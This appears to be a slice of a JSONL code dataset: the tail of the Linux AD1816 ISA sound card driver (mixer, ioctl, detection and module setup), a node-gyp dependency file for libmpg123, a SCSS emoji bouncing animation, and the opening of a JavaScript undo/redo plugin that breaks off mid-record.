devc->supported_rec_devices;\n\t\n\tn = 0;\n\t/* Count selected device bits */\n\tfor (i = 0; i < 32; i++)\n\t\tif (mask & (1 << i))\n\t\t\tn++;\n\t\n\tif (n == 0)\n\t\tmask = SOUND_MASK_MIC;\n\telse if (n != 1) { /* Too many devices selected */\n\t\t/* Filter out active settings */\n\t\tmask &= ~devc->recmask;\t\n\t\t\n\t\tn = 0;\n\t\t/* Count selected device bits */\n\t\tfor (i = 0; i < 32; i++) \n\t\t\tif (mask & (1 << i))\n\t\t\t\tn++;\n\t\t\n\t\tif (n != 1)\n\t\t\tmask = SOUND_MASK_MIC;\n\t}\n\t\n\tswitch (mask) {\n\tcase SOUND_MASK_MIC:\n\t\trecdev = 5;\n\t\tbreak;\n\t\t\n\tcase SOUND_MASK_LINE:\n\t\trecdev = 0;\n\t\tbreak;\n\t\t\n\tcase SOUND_MASK_CD:\n\t\trecdev = 2;\n\t\tbreak;\n\t\t\n\tcase SOUND_MASK_LINE1:\n\t\trecdev = 4;\n\t\tbreak;\n\t\t\n\tcase SOUND_MASK_LINE2:\n\t\trecdev = 3;\n\t\tbreak;\n\t\t\n\tcase SOUND_MASK_VOLUME:\n\t\trecdev = 1;\n\t\tbreak;\n\t\t\n\tdefault:\n\t\tmask = SOUND_MASK_MIC;\n\t\trecdev = 5;\n\t}\n\t\n\trecdev <<= 4;\n\tad_write (devc, 20, \n\t\t  (ad_read (devc, 20) & 0x8f8f) | recdev | (recdev<<8));\n\n\tdevc->recmask = mask;\n\tspin_unlock_irqrestore(&devc->lock, flags);\n\treturn mask;\n}\n\nstatic void\nchange_bits (int *regval, int dev, int chn, int newval)\n{\n\tunsigned char   mask;\n\tint             shift;\n  \n\t/* Reverse polarity*/\n\n\tif (mix_devices[dev][chn].polarity == 1) \n\t\tnewval = 100 - newval;\n\n\tmask = (1 << mix_devices[dev][chn].nbits) - 1;\n\tshift = mix_devices[dev][chn].bitpos;\n\t/* Scale it */\n\tnewval = (int) ((newval * mask) + 50) / 100;\t\n\t/* Clear bits */\n\t*regval &= ~(mask << shift);\t\n\t/* Set new value */\n\t*regval |= (newval & mask) << shift;\t\n}\n\nstatic int\nad1816_mixer_get (ad1816_info * devc, int dev)\n{\n\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: mixer_get called!\\n\"));\n\t\n\t/* range check + supported mixer check */\n\tif (dev < 0 || dev >= SOUND_MIXER_NRDEVICES )\n\t        return (-(EINVAL));\n\tif (!((1 << dev) & devc->supported_devices))\n\t\treturn -(EINVAL);\n\t\n\treturn devc->levels[dev];\n}\n\nstatic int\nad1816_mixer_set (ad1816_info * devc, int dev, int value)\n{\n\tint   left = value & 0x000000ff;\n\tint   right = (value & 0x0000ff00) >> 8;\n\tint   retvol;\n\n\tint   regoffs;\n\tint   val;\n\tint   valmute;\n\tunsigned long flags;\n\n\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: mixer_set called!\\n\"));\n\t\n\tif (dev < 0 || dev >= SOUND_MIXER_NRDEVICES )\n\t\treturn -(EINVAL);\n\n\tif (left > 100)\n\t\tleft = 100;\n\tif (left < 0)\n\t\tleft = 0;\n\tif (right > 100)\n\t\tright = 100;\n\tif (right < 0)\n\t\tright = 0;\n\t\n\t/* Mono control */\n\tif (mix_devices[dev][RIGHT_CHN].nbits == 0) \n\t\tright = left;\n\tretvol = left | (right << 8);\n\t\n\t/* Scale it */\n\t\n\tleft = mix_cvt[left];\n\tright = mix_cvt[right];\n\n\t/* reject all mixers that are not supported */\n\tif (!(devc->supported_devices & (1 << dev)))\n\t\treturn -(EINVAL);\n\t\n\t/* sanity check */\n\tif (mix_devices[dev][LEFT_CHN].nbits == 0)\n\t\treturn -(EINVAL);\n\tspin_lock_irqsave(&devc->lock, flags);\n\n\t/* keep precise volume internal */\n\tdevc->levels[dev] = retvol;\n\n\t/* Set the left channel */\n\tregoffs = mix_devices[dev][LEFT_CHN].regno;\n\tval = ad_read (devc, regoffs);\n\tchange_bits (&val, dev, LEFT_CHN, left);\n\n\tvalmute=val;\n\n\t/* Mute bit masking on some registers */\n\tif ( regoffs==5 || regoffs==14 || regoffs==15 ||\n\t     regoffs==16 || regoffs==17 || regoffs==18 || \n\t     regoffs==19 || regoffs==39) {\n\t\tif (left==0)\n\t\t\tvalmute |= 0x8000;\n\t\telse\n\t\t\tvalmute &= ~0x8000;\n\t}\n\tad_write (devc, regoffs, valmute); /* mute */\n\n\t/*\n\t * Set the right channel\n\t */\n \n\t/* Was just a mono channel */\n\tif (mix_devices[dev][RIGHT_CHN].nbits == 0) {\n\t\tspin_unlock_irqrestore(&devc->lock, flags);\n\t\treturn retvol;\t\t\n\t}\n\n\tregoffs = mix_devices[dev][RIGHT_CHN].regno;\n\tval = ad_read (devc, regoffs);\n\tchange_bits (&val, dev, RIGHT_CHN, right);\n\n\tvalmute=val;\n\tif ( regoffs==5 || regoffs==14 || regoffs==15 ||\n\t     regoffs==16 || regoffs==17 || regoffs==18 || \n\t     regoffs==19 || regoffs==39) {\n\t\tif (right==0)\n\t\t\tvalmute |= 0x80;\n\t\telse\n\t\t\tvalmute &= ~0x80;\n\t}\n\tad_write (devc, regoffs, valmute); /* mute */\n\tspin_unlock_irqrestore(&devc->lock, flags);\n       \treturn retvol;\n}\n\n#define MIXER_DEVICES ( SOUND_MASK_VOLUME | \\\n\t\t\tSOUND_MASK_SYNTH | \\\n\t\t\tSOUND_MASK_PCM | \\\n\t\t\tSOUND_MASK_LINE | \\\n\t\t\tSOUND_MASK_LINE1 | \\\n\t\t\tSOUND_MASK_LINE2 | \\\n\t\t\tSOUND_MASK_LINE3 | \\\n\t\t\tSOUND_MASK_MIC | \\\n\t\t\tSOUND_MASK_CD | \\\n\t\t\tSOUND_MASK_RECLEV  \\\n\t\t\t)\n#define REC_DEVICES ( SOUND_MASK_LINE2 |\\\n\t\t      SOUND_MASK_LINE |\\\n\t\t      SOUND_MASK_LINE1 |\\\n\t\t      SOUND_MASK_MIC |\\\n\t\t      SOUND_MASK_CD |\\\n\t\t      SOUND_MASK_VOLUME \\\n\t\t      )\n     \nstatic void\nad1816_mixer_reset (ad1816_info * devc)\n{\n\tint  i;\n\n\tdevc->supported_devices = MIXER_DEVICES;\n\t\n\tdevc->supported_rec_devices = REC_DEVICES;\n\n\tfor (i = 0; i < SOUND_MIXER_NRDEVICES; i++)\n\t\tif (devc->supported_devices & (1 << i))\n\t\t\tad1816_mixer_set (devc, i, default_mixer_levels[i]);\n\tad1816_set_recmask (devc, SOUND_MASK_MIC);\n}\n\nstatic int\nad1816_mixer_ioctl (int dev, unsigned int cmd, void __user * arg)\n{\n\tad1816_info    *devc = mixer_devs[dev]->devc;\n\tint val;\n\tint __user *p = arg;\n  \n\tDEBUGNOISE(printk(KERN_DEBUG \"ad1816: mixer_ioctl called!\\n\"));\n  \n\t/* Mixer ioctl */\n\tif (((cmd >> 8) & 0xff) == 'M') { \n\t\t\n\t\t/* set ioctl */\n\t\tif (_SIOC_DIR (cmd) & _SIOC_WRITE) { \n\t\t\tswitch (cmd & 0xff){\n\t\t\tcase SOUND_MIXER_RECSRC:\n\t\t\t\t\n\t\t\t\tif (get_user(val, p))\n\t\t\t\t\treturn -EFAULT;\n\t\t\t\tval=ad1816_set_recmask (devc, val);\n\t\t\t\treturn put_user(val, p);\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tdefault:\n\t\t\t\tif (get_user(val, p))\n\t\t\t\t\treturn -EFAULT;\n\t\t\t\tif ((val=ad1816_mixer_set (devc, cmd & 0xff, val))<0)\n\t\t\t\t        return val;\n\t\t\t\telse\n\t\t\t\t        return put_user(val, p);\n\t\t\t}\n\t\t} else { \n\t\t\t/* read ioctl */\n\t\t\tswitch (cmd & 0xff) {\n\t\t\t\t\n\t\t\tcase SOUND_MIXER_RECSRC:\n\t\t\t\tval=devc->recmask;\n\t\t\t\treturn put_user(val, p);\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tcase SOUND_MIXER_DEVMASK:\n\t\t\t\tval=devc->supported_devices;\n\t\t\t\treturn put_user(val, p);\n\t\t\t\tbreak;\n\n\t\t\tcase SOUND_MIXER_STEREODEVS:\n\t\t\t\tval=devc->supported_devices & ~(SOUND_MASK_SPEAKER | SOUND_MASK_IMIX);\n\t\t\t\treturn put_user(val, p);\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tcase SOUND_MIXER_RECMASK:\n\t\t\t\tval=devc->supported_rec_devices;\n\t\t\t\treturn put_user(val, p);\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tcase SOUND_MIXER_CAPS:\n\t\t\t\tval=SOUND_CAP_EXCL_INPUT;\n\t\t\t\treturn put_user(val, p);\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tdefault:\n\t\t\t        if ((val=ad1816_mixer_get (devc, cmd & 0xff))<0)\n\t\t\t\t        return val;\n\t\t\t\telse\n\t\t\t\t        return put_user(val, p);\n\t\t\t}\n\t\t}\n\t} else\n\t\t/* not for mixer */\n\t\treturn -(EINVAL);\n}\n\n/* ------------------------------------------------------------------- */\n\n/* Mixer structure */\n\nstatic struct mixer_operations ad1816_mixer_operations = {\n\t.owner\t= THIS_MODULE,\n\t.id\t= \"AD1816\",\n\t.name\t= \"AD1816 Mixer\",\n\t.ioctl\t= ad1816_mixer_ioctl\n};\n\n\n/* ------------------------------------------------------------------- */\n\n/* stuff for card recognition, init and unloading PNP ...*/\n\n\n/* check if AD1816 present at specified hw_config and register device with OS \n * return 1 if initialization was successful, 0 otherwise\n */\nstatic int __init ad1816_init_card (struct address_info *hw_config, \n\tstruct pnp_dev *pnp)\n{\n\tad1816_info    *devc = NULL;\n\tint tmp;\n\tint oss_devno = -1;\n\n\tprintk(KERN_INFO \"ad1816: initializing card: io=0x%x, irq=%d, dma=%d, \"\n\t\t\t \"dma2=%d, clockfreq=%d, options=%d isadmabug=%d \"\n\t\t\t \"%s\\n\",\n\t       hw_config->io_base,\n\t       hw_config->irq,\n\t       hw_config->dma,\n\t       hw_config->dma2,\n\t       ad1816_clockfreq,\n\t       options,\n\t       isa_dma_bridge_buggy,\n\t       pnp?\"(PNP)\":\"\");\n\n\t/* ad1816_info structure remaining ? */\n\tif (nr_ad1816_devs >= MAX_AUDIO_DEV) {\n\t\tprintk(KERN_WARNING \"ad1816: no more ad1816_info structures \"\n\t\t\t\"left\\n\");\n\t\tgoto out;\n\t}\n\n\tdevc = &dev_info[nr_ad1816_devs];\n\tdevc->base = hw_config->io_base;\n\tdevc->irq = hw_config->irq;\n\tdevc->dma_playback=hw_config->dma;\n\tdevc->dma_capture=hw_config->dma2;\n\tdevc->opened = 0;\n\tdevc->pnpdev = pnp;\n\tspin_lock_init(&devc->lock);\n\n\tif (!request_region(devc->base, 16, \"AD1816 Sound\")) {\n\t\tprintk(KERN_WARNING \"ad1816: I/O port 0x%03x not free\\n\",\n\t\t\t\t    devc->base);\n\t\tgoto out;\n\t}\n\n\tprintk(KERN_INFO \"ad1816: Examining AD1816 at address 0x%03x.\\n\", \n\t\tdevc->base);\n\t\n\n\t/* tests for ad1816 */\n\t/* base+0: bit 1 must be set but not 255 */\n\ttmp=inb(devc->base);\n\tif ( (tmp&0x80)==0 || tmp==255 ) {\n\t\tprintk (KERN_INFO \"ad1816: Chip is not an AD1816 or chip \"\n\t\t\t\"is not active (Test 0)\\n\");\n\t\tgoto out_release_region;\n\t}\n\n\t/* writes to ireg 8 are copied to ireg 9 */\n\tad_write(devc,8,12345); \n\tif (ad_read(devc,9)!=12345) {\n\t\tprintk(KERN_INFO \"ad1816: Chip is not an AD1816 (Test 1)\\n\");\n\t\tgoto out_release_region;\n\t}\n  \n\t/* writes to ireg 8 are copied to ireg 9 */\n\tad_write(devc,8,54321); \n\tif (ad_read(devc,9)!=54321) {\n\t\tprintk(KERN_INFO \"ad1816: Chip is not an AD1816 (Test 2)\\n\");\n\t\tgoto out_release_region;\n\t}\n\n\t/* writes to ireg 10 are copied to ireg 11 */\n\tad_write(devc,10,54321); \n\tif (ad_read(devc,11)!=54321) {\n\t\tprintk (KERN_INFO \"ad1816: Chip is not an AD1816 (Test 3)\\n\");\n\t\tgoto out_release_region;\n\t}\n\n\t/* writes to ireg 10 are copied to ireg 11 */\n\tad_write(devc,10,12345); \n\tif (ad_read(devc,11)!=12345) {\n\t\tprintk (KERN_INFO \"ad1816: Chip is not an AD1816 (Test 4)\\n\");\n\t\tgoto out_release_region;\n\t}\n\n\t/* bit in base +1 cannot be set to 1 */\n\ttmp=inb(devc->base+1);\n\toutb(0xff,devc->base+1); \n\tif (inb(devc->base+1)!=tmp) {\n\t\tprintk(KERN_INFO \"ad1816: Chip is not an AD1816 (Test 5)\\n\");\n\t\tgoto out_release_region;\n\t}\n  \n\tprintk(KERN_INFO \"ad1816: AD1816 (version %d) successfully detected!\\n\",\n\t\tad_read(devc,45));\n\n\t/* disable all interrupts */\n\tad_write(devc,1,0);     \n\n\t/* Clear pending interrupts */\n\toutb (0, devc->base+1);\t\n\n\t/* allocate irq */\n\tif (devc->irq < 0 || devc->irq > 15)\n\t\tgoto out_release_region;\n\tif (request_irq(devc->irq, ad1816_interrupt,0,\n\t\t\t\"SoundPort\", devc) < 0)\t{\n\t        printk(KERN_WARNING \"ad1816: IRQ in use\\n\");\n\t\tgoto out_release_region;\n\t}\n\n\t/* DMA stuff */\n\tif (sound_alloc_dma (devc->dma_playback, \"Sound System\")) {\n\t\tprintk(KERN_WARNING \"ad1816: Can't allocate DMA%d\\n\",\n\t\t\t\t    devc->dma_playback);\n\t\tgoto out_free_irq;\n\t}\n\t\n\tif ( devc->dma_capture >= 0 && \n\t  \tdevc->dma_capture != devc->dma_playback) {\n\t\tif (sound_alloc_dma(devc->dma_capture,\n\t\t\t\t    \"Sound System (capture)\")) {\n\t\t\tprintk(KERN_WARNING \"ad1816: Can't allocate DMA%d\\n\",\n\t\t\t\t\t    devc->dma_capture);\n\t\t\tgoto out_free_dma;\n\t\t}\n\t\tdevc->audio_mode=DMA_AUTOMODE|DMA_DUPLEX;\n\t} else {\n\t  \tprintk(KERN_WARNING \"ad1816: Only one DMA channel \"\n\t\t\t\"available/configured. No duplex operation possible\\n\");\n\t\tdevc->audio_mode=DMA_AUTOMODE;\n\t}\n\n\tconf_printf2 (\"AD1816 audio driver\",\n\t\t      devc->base, devc->irq, devc->dma_playback, \n\t\t      devc->dma_capture);\n\n\t/* register device */\n\tif ((oss_devno = sound_install_audiodrv (AUDIO_DRIVER_VERSION,\n\t\t\t\t\t      \"AD1816 audio driver\",\n\t\t\t\t\t      &ad1816_audio_driver,\n\t\t\t\t\t      sizeof (struct audio_driver),\n\t\t\t\t\t      devc->audio_mode,\n\t\t\t\t\t      ad_format_mask,\n\t\t\t\t\t      devc,\n\t\t\t\t\t      devc->dma_playback, \n\t\t\t\t\t      devc->dma_capture)) < 0) {\n\t\tprintk(KERN_WARNING \"ad1816: Can't install sound driver\\n\");\n\t\tgoto out_free_dma_2;\n\t}\n\n\n\tad_write(devc,32,0x80f0); /* sound system mode */\n\tif (options&1) {\n\t        ad_write(devc,33,0); /* disable all audiosources for dsp */\n\t} else {\n\t        ad_write(devc,33,0x03f8); /* enable all audiosources for dsp */\n\t}\n\tad_write(devc,4,0x8080);  /* default values for volumes (muted)*/\n\tad_write(devc,5,0x8080);\n\tad_write(devc,6,0x8080);\n\tad_write(devc,7,0x8080);\n\tad_write(devc,15,0x8888);\n\tad_write(devc,16,0x8888);\n\tad_write(devc,17,0x8888);\n\tad_write(devc,18,0x8888);\n\tad_write(devc,19,0xc888); /* +20db mic active */\n\tad_write(devc,14,0x0000); /* Master volume unmuted */\n\tad_write(devc,39,0x009f); /* 3D effect on 0% phone out muted */\n\tad_write(devc,44,0x0080); /* everything on power, 3d enabled for d/a */\n\toutb(0x10,devc->base+8); /* set dma mode */\n\toutb(0x10,devc->base+9);\n  \n\t/* enable capture + playback interrupt */\n\tad_write(devc,1,0xc000); \n\t\n\t/* set mixer defaults */\n\tad1816_mixer_reset (devc); \n  \n\t/* register mixer */\n\tif ((audio_devs[oss_devno]->mixer_dev=sound_install_mixer(\n\t\t\t\t       MIXER_DRIVER_VERSION,\n\t\t\t\t       \"AD1816 audio driver\",\n\t\t\t\t       &ad1816_mixer_operations,\n\t\t\t\t       sizeof (struct mixer_operations),\n\t\t\t\t       devc)) < 0) {\n\t  \tprintk(KERN_WARNING \"Can't install mixer\\n\");\n\t}\n\t/* make ad1816_info active */\n\tnr_ad1816_devs++;\n\tprintk(KERN_INFO \"ad1816: card successfully installed!\\n\");\n\treturn 1;\n\t/* error handling */\nout_free_dma_2:\n\tif (devc->dma_capture >= 0 && devc->dma_capture != devc->dma_playback)\n\t        sound_free_dma(devc->dma_capture);\nout_free_dma:\n\tsound_free_dma(devc->dma_playback);\nout_free_irq:\n\tfree_irq(devc->irq, devc);\nout_release_region:\n\trelease_region(devc->base, 16);\nout:\n\treturn 0;\n}\n\nstatic void __exit unload_card(ad1816_info *devc)\n{\n\tint  mixer, dev = 0;\n\t\n\tif (devc != NULL) {\n\t\tprintk(\"ad1816: Unloading card at address 0x%03x\\n\",devc->base);\n\t\t\n\t\tdev = devc->dev_no;\n\t\tmixer = audio_devs[dev]->mixer_dev;\n\n\t\t/* unreg mixer*/\n\t\tif(mixer>=0) {\n\t\t\tsound_unload_mixerdev(mixer);\n\t\t}\n\t\t/* unreg audiodev */\n\t\tsound_unload_audiodev(dev);\n\t\t\n\t\t/* free dma channels */\n\t\tif (devc->dma_capture>=0 && \n\t\t  \tdevc->dma_capture != devc->dma_playback) {\n\t\t\tsound_free_dma(devc->dma_capture);\n\t\t}\n\t\tsound_free_dma (devc->dma_playback);\n\t\t/* free irq */\n\t\tfree_irq(devc->irq, devc);\n\t\t/* free io */\n\t\trelease_region (devc->base, 16);\n#ifdef __ISAPNP__\n\t\tif (devc->pnpdev) {\n\t\t  \tpnp_disable_dev(devc->pnpdev);\n\t\t\tpnp_device_detach(devc->pnpdev);\n\t\t}\n#endif\n\t\t\n\t} else\n\t\tprintk(KERN_WARNING \"ad1816: no device/card specified\\n\");\n}\n\nstatic int __initdata io = -1;\nstatic int __initdata irq = -1;\nstatic int __initdata dma = -1;\nstatic int __initdata dma2 = -1;\n\n#ifdef __ISAPNP__\n/* use isapnp for configuration */\nstatic int isapnp\t= 1;\nstatic int isapnpjump;\nmodule_param(isapnp, bool, 0);\nmodule_param(isapnpjump, int, 0);\n#endif\n\nmodule_param(io, int, 0);\nmodule_param(irq, int, 0);\nmodule_param(dma, int, 0);\nmodule_param(dma2, int, 0);\nmodule_param(ad1816_clockfreq, int, 0);\nmodule_param(options, int, 0);\n\n#ifdef __ISAPNP__\nstatic struct {\n\tunsigned short card_vendor, card_device;\n\tunsigned short vendor;\n\tunsigned short function;\n\tstruct ad1816_data *data;\n} isapnp_ad1816_list[] __initdata = {\n\t{\tISAPNP_ANY_ID, ISAPNP_ANY_ID,\n\t\tISAPNP_VENDOR('A','D','S'), ISAPNP_FUNCTION(0x7150), \n\t\tNULL },\n\t{\tISAPNP_ANY_ID, ISAPNP_ANY_ID,\n\t\tISAPNP_VENDOR('A','D','S'), ISAPNP_FUNCTION(0x7180),\n\t\tNULL },\n\t{0}\n};\n\nMODULE_DEVICE_TABLE(isapnp, isapnp_ad1816_list);\n\n\nstatic void __init ad1816_config_pnp_card(struct pnp_card *card,\n\t\t\t\t\t  unsigned short vendor,\n\t\t\t\t\t  unsigned short function)\n{\n\tstruct address_info cfg;\n  \tstruct pnp_dev *card_dev = pnp_find_dev(card, vendor, function, NULL);\n\tif (!card_dev) return;\n\tif (pnp_device_attach(card_dev) < 0) {\n\t  \tprintk(KERN_WARNING \"ad1816: Failed to attach PnP device\\n\");\n\t\treturn;\n\t}\n\tif (pnp_activate_dev(card_dev) < 0) {\n\t\tprintk(KERN_WARNING \"ad1816: Failed to activate PnP device\\n\");\n\t\tpnp_device_detach(card_dev);\n\t\treturn;\n\t}\n\tcfg.io_base = pnp_port_start(card_dev, 2);\n\tcfg.irq = pnp_irq(card_dev, 0);\n\tcfg.dma = pnp_irq(card_dev, 0);\n\tcfg.dma2 = pnp_irq(card_dev, 1);\n\tif (!ad1816_init_card(&cfg, card_dev)) {\n\t  \tpnp_disable_dev(card_dev);\n\t\tpnp_device_detach(card_dev);\n\t}\n}\n\nstatic void __init ad1816_config_pnp_cards(void)\n{\n\tint nr_pnp_cfg;\n\tint i;\n\t\n\t/* Count entries in isapnp_ad1816_list */\n\tfor (nr_pnp_cfg = 0; isapnp_ad1816_list[nr_pnp_cfg].card_vendor != 0; \n\t\tnr_pnp_cfg++);\n\t/* Check and adjust isapnpjump */\n\tif( isapnpjump < 0 || isapnpjump >= nr_pnp_cfg) {\n\t\tprintk(KERN_WARNING \n\t\t\t\"ad1816: Valid range for isapnpjump is 0-%d. \"\n\t\t\t\"Adjusted to 0.\\n\", nr_pnp_cfg-1);\n\t\tisapnpjump = 0;\n\t}\n\tfor (i = isapnpjump; isapnp_ad1816_list[i].card_vendor != 0; i++) {\n\t \tstruct pnp_card *card = NULL;\n\t\t/* iterate over all pnp cards */\t\t\n\t\twhile ((card = pnp_find_card(isapnp_ad1816_list[i].card_vendor,\n\t\t              \tisapnp_ad1816_list[i].card_device, card))) \n\t\t\tad1816_config_pnp_card(card, \n\t\t\t\tisapnp_ad1816_list[i].vendor,\n\t\t\t\tisapnp_ad1816_list[i].function);\n\t}\n}\n#endif\n\n/* module initialization */\nstatic int __init init_ad1816(void)\n{\n\tprintk(KERN_INFO \"ad1816: AD1816 sounddriver \"\n\t\t\t \"Copyright (C) 1998-2003 by Thorsten Knabe and \"\n\t\t\t \"others\\n\");\n#ifdef AD1816_CLOCK \n\t/* set ad1816_clockfreq if set during compilation */\n\tad1816_clockfreq=AD1816_CLOCK;\n#endif\n\tif (ad1816_clockfreq<5000 || ad1816_clockfreq>100000) {\n\t\tad1816_clockfreq=33000;\n\t}\n\n#ifdef __ISAPNP__\n\t/* configure PnP cards */\n\tif(isapnp) ad1816_config_pnp_cards();\n#endif\n\t/* configure card by module params */\n\tif (io != -1 && irq != -1 && dma != -1) {\n\t\tstruct address_info cfg;\n\t\tcfg.io_base = io;\n\t\tcfg.irq = irq;\n\t\tcfg.dma = dma;\n\t\tcfg.dma2 = dma2;\n\t\tad1816_init_card(&cfg, NULL);\n\t}\n\tif (nr_ad1816_devs <= 0)\n\t  \treturn -ENODEV;\n\treturn 0;\n}\n\n/* module cleanup */\nstatic void __exit cleanup_ad1816 (void)\n{\n\tint          i;\n\tad1816_info  *devc = NULL;\n  \n\t/* remove any soundcard */\n\tfor (i = 0;  i < nr_ad1816_devs; i++) {\n\t\tdevc = &dev_info[i];\n\t\tunload_card(devc);\n\t}     \n\tnr_ad1816_devs=0;\n\tprintk(KERN_INFO \"ad1816: driver unloaded!\\n\");\n}\n\nmodule_init(init_ad1816);\nmodule_exit(cleanup_ad1816);\n\n#ifndef MODULE\n/* kernel command line parameter evaluation */\nstatic int __init setup_ad1816(char *str)\n{\n\t/* io, irq, dma, dma2 */\n\tint ints[5];\n\t\n\tstr = get_options(str, ARRAY_SIZE(ints), ints);\n\t\n\tio\t= ints[1];\n\tirq\t= ints[2];\n\tdma\t= ints[3];\n\tdma2\t= ints[4];\n\treturn 1;\n}\n\n__setup(\"ad1816=\", setup_ad1816);\n#endif\nMODULE_LICENSE(\"GPL\");\n"}
+{"text": "cmd_Release/obj.target/mpg123/deps/mpg123/src/libmpg123/synth_s32.o := cc '-D_DARWIN_USE_64_BIT_INODE=1' '-D_LARGEFILE_SOURCE' '-D_FILE_OFFSET_BITS=64' '-DPIC' '-DNOXFERMEM' '-DHAVE_CONFIG_H' '-DOPT_X86_64' '-DREAL_IS_FLOAT' '-DNDEBUG' -I/Users/pedromateus/.node-gyp/0.10.22/src -I/Users/pedromateus/.node-gyp/0.10.22/deps/uv/include -I/Users/pedromateus/.node-gyp/0.10.22/deps/v8/include -I../deps/mpg123/src/libmpg123 -I../deps/mpg123/config/mac/x64  -Os -gdwarf-2 -mmacosx-version-min=10.5 -arch x86_64 -Wall -Wendif-labels -W -Wno-unused-parameter -fno-strict-aliasing -MMD -MF ./Release/.deps/Release/obj.target/mpg123/deps/mpg123/src/libmpg123/synth_s32.o.d.raw  -c -o Release/obj.target/mpg123/deps/mpg123/src/libmpg123/synth_s32.o ../deps/mpg123/src/libmpg123/synth_s32.c\nRelease/obj.target/mpg123/deps/mpg123/src/libmpg123/synth_s32.o: \\\n  ../deps/mpg123/src/libmpg123/synth_s32.c \\\n  ../deps/mpg123/src/libmpg123/mpg123lib_intern.h \\\n  ../deps/mpg123/config/mac/x64/config.h \\\n  ../deps/mpg123/src/libmpg123/intsym.h \\\n  ../deps/mpg123/src/libmpg123/compat.h \\\n  ../deps/mpg123/config/mac/x64/mpg123.h \\\n  ../deps/mpg123/src/libmpg123/true.h \\\n  ../deps/mpg123/src/libmpg123/optimize.h \\\n  ../deps/mpg123/src/libmpg123/decode.h \\\n  ../deps/mpg123/src/libmpg123/parse.h \\\n  ../deps/mpg123/src/libmpg123/frame.h \\\n  ../deps/mpg123/src/libmpg123/id3.h ../deps/mpg123/src/libmpg123/icy.h \\\n  ../deps/mpg123/src/libmpg123/reader.h \\\n  ../deps/mpg123/src/libmpg123/index.h \\\n  ../deps/mpg123/src/libmpg123/synths.h \\\n  ../deps/mpg123/src/libmpg123/sample.h \\\n  ../deps/mpg123/src/libmpg123/debug.h \\\n  ../deps/mpg123/src/libmpg123/synth.h \\\n  ../deps/mpg123/src/libmpg123/synth_mono.h \\\n  ../deps/mpg123/src/libmpg123/synth_ntom.h\n../deps/mpg123/src/libmpg123/synth_s32.c:\n../deps/mpg123/src/libmpg123/mpg123lib_intern.h:\n../deps/mpg123/config/mac/x64/config.h:\n../deps/mpg123/src/libmpg123/intsym.h:\n../deps/mpg123/src/libmpg123/compat.h:\n../deps/mpg123/config/mac/x64/mpg123.h:\n../deps/mpg123/src/libmpg123/true.h:\n../deps/mpg123/src/libmpg123/optimize.h:\n../deps/mpg123/src/libmpg123/decode.h:\n../deps/mpg123/src/libmpg123/parse.h:\n../deps/mpg123/src/libmpg123/frame.h:\n../deps/mpg123/src/libmpg123/id3.h:\n../deps/mpg123/src/libmpg123/icy.h:\n../deps/mpg123/src/libmpg123/reader.h:\n../deps/mpg123/src/libmpg123/index.h:\n../deps/mpg123/src/libmpg123/synths.h:\n../deps/mpg123/src/libmpg123/sample.h:\n../deps/mpg123/src/libmpg123/debug.h:\n../deps/mpg123/src/libmpg123/synth.h:\n../deps/mpg123/src/libmpg123/synth_mono.h:\n../deps/mpg123/src/libmpg123/synth_ntom.h:\n"}
+{"text": "/**\n * ==============================================\n * Experiment: Emoji\n * Dot Bouncing\n * ==============================================\n */\n\n$d: 20px;\n\n.dot-bouncing {\n  position: relative;\n  height: $dot-height;\n  font-size: 10px;\n\n  &::before {\n    content: '⚽🏀🏐';\n    display: inline-block;\n    position: relative;\n    animation: dot-bouncing 1s infinite;\n  }\n}\n\n@keyframes dot-bouncing {\n  0% {\n    top: -$d;\n    animation-timing-function: ease-in;\n  }\n\n  34% {\n    transform: scale(1, 1);\n  }\n\n  35% {\n    top: $d;\n    animation-timing-function: ease-out;\n    transform: scale(1.5, .5);\n  }\n\n  45% {\n    transform: scale(1, 1);\n  }\n\n  90% {\n    top: -$d;\n  }\n\n  100% {\n    top: -$d;\n  }\n}\n"}
+{"text": "MT.extend(\"core.BasicPlugin\")(\n\tMT.plugins.UndoRedo = function(project){\n\t\tthis.project = project;\n\t\tthis.buffer = [];\n\t\t\n\t\tthis.name = \"UndoRedo\";\n\t\t\n\t\tthis._step = 0;\n\t\t\n\t\tthis.max = 20;\n\t\t\n\t\tthis.undos = 0;\n\t\t\n\t\twindow.ur = this;\n\t\tthis.capacity = 0;\n\t\tthis.currentOffset = 0;\n\t\t\n\t\t\n\t\tvar that = this;\n\t\tthis.onKeyDown = function(e){\n\t\t\tif(!e.ctrlKey){\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif(e.which !== \"Z\".charCodeAt(0)){\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tif(!e.shiftKey){\n\t\t\t\tif(that.step > 0){\n\t\t\t\t\tthat.step--;\n\t\t\t\t\tconsole.log(that.step);\n\t\t\t\t\tvar data = that.buffer[that.step-1];\n\t\t\t\t\tif(data){\n\t\t\t\t\t\tthat.om.a_receive(JSON.parse(data), true);\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\tthat.step++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t//console.log(\"nothing to undo\");\n\t\t\t\t}\n\t\t\t\treturn;\n\t\t\t}\n\t\t\t\n\t\t\tif(that.step < that.buffer.length){\n\t\t\t\tvar data = that.buffer[that.step];\n\t\t\t\tif(data){\n\t\t\t\t\t\n\t\t\t\t\tthat.om.a_receive(JSON.parse(data), true);\n\t\t\t\t\tthat.step++;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\tconsole.log(\"nothing to redo - no data?\");\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tconsole.log(\"nothing to redo\");\n\t\t\t}\n\t\t};\n\t\t\n\t\t\n\t\tthis.checkLocalStorageCapacity();\n\t},\n\t{\n\t\tset step(val){\n\t\t\tthis._step = val;\n\t\t},\n\t\t\n\t\tget step(){\n\t\t\treturn this._step;\n\t\t},\n\t\t\n\t\tdisable: function(){\n\t\t\tthis.ui.events.off(this.ui.events.KEYDOWN, this.onKeyDown);\n\t\t},\n\t\tenable: 